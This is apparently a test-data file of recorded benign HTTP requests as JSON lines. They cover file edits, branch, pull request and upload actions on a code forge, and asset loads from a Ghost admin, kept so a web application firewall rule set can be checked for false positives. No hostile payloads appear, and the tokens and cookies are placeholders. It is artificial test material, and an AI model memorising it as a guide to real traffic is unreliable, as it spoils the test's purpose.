"last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 335", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A++++restart%3A+always&commit_summary=Restart+the+web+service&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 251", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docs%2Fsetup.md&content=%23+Setup&commit_summary=Add+setup+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=powershell-setup-notes&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 195", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&commit_summary=Drop+the+old+setup+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=b69a66a389d3a15c29f4cadf8d92662b97edefc4&page_has_posted=&tree_path=.htaccess&content=Options+-Indexes%0D%0A%23+No+directory+listings%0D%0A&commit_summary=Update+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=af80d9f64107082ff52b6aae5a10828742fe01c2&page_has_posted=&tree_path=scripts%2Finstall-script.sh&content=echo+Installing+the+tools.%0D%0Aecho+Done.%0D%0A&commit_summary=Update+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhkq69WdAprWrxB7m", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryhkq69WdAprWrxB7m\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryhkq69WdAprWrxB7m--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=docs&files=d730c135-cc1c-49b7-a402-d237c0828939&files_fullpath%5Bd730c135-cc1c-49b7-a402-d237c0828939%5D=release-notes.txt&commit_summary=Upload+the+release+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPZVdfDJ4Whs72TTk", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryPZVdfDJ4Whs72TTk\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryPZVdfDJ4Whs72TTk--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 291", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=scripts%2Fpowershell&files=4eb22017-b621-4063-b0a9-ce7cdf5e0853&files_fullpath%5B4eb22017-b621-4063-b0a9-ce7cdf5e0853%5D=build.ps1&commit_summary=Add+a+PowerShell+build+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=fix-powershell-module&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 222", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=update-powershell-docs&commit_mail_id=1"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 97", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "HX-Current-URL: http://example.com/alice/tools/_edit/main/docs/setup.md", "Content-Type: application/x-www-form-urlencoded", "HX-Request: true", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "context=%2Falice%2Ftools%2Fsrc%2Fbranch%2Fmain&content=%23%20Setup%0A%0AInstall%20the%20tools.%0A"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
File diff suppressed because it is too large. Load diff
+794
View File
@@ -0,0 +1,794 @@
# Ordinary Ghost 6.76.0 requests that the Core Rule Set must let through at the
# defaults and while bodies are read. They were recorded from a Ghost driven by
# a headless Chrome, signed out, as a member and in the admin, and by curl on
# the Content API and the Admin API. Each line is one request as JSON. Names,
# addresses, passwords and keys are invented. The browser's User-Agent is an
# ordinary Chrome's. A body or a multipart part that is not text is written as
# base64.
{"method": "GET", "target": "/ghost/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index-BiSgg_Os.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/react-DFHZ-wBR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/react-dom-SnO3ZWom.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/jsx-runtime-C_PdNFfk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/framework-provider-DCOh-eaQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/hooks-CBIG5v-t.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/src-CoPg2ZdF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/update-queries-1CGdpz7p.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/users-B0PWKMfp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/members-DttKKvqe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-CSTDfrUo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-tinybird-token-CzoVNSUR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-tinybird-query-CluOFAVL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
